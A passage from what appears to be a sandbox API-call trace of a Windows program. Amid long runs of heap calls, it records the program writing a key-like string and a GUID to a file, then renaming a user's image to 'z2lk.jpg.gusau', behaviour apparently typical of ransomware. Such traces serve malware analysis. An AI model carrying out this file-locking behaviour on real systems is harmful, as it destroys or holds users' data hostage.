(HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0118.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0118.337] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.337] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0118.337] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.337] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.337] CloseHandle (hObject=0x610) returned 1 [0118.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5430 [0118.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.338] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\z2lk.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\z2lk.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\z2lk.jpg.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\z2lk.jpg.gusau")) returned 1 [0118.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.338] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.339] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7851b730, ftCreationTime.dwHighDateTime=0x1d4d59d, ftLastAccessTime.dwLowDateTime=0x252f33d0, ftLastAccessTime.dwHighDateTime=0x1d4c7dc, ftLastWriteTime.dwLowDateTime=0x252f33d0, ftLastWriteTime.dwHighDateTime=0x1d4c7dc, nFileSizeHigh=0x0, nFileSizeLow=0xd169, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="z2lk.jpg", cAlternateFileName="")) returned 0 [0118.339] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0118.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf08b0 | out: hHeap=0xd10000) returned 1 [0118.339] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0118.340] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.342] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.342] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.342] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.342] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.342] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.342] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.342] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.342] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.342] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.342] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.342] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.342] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.342] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.342] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.342] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: 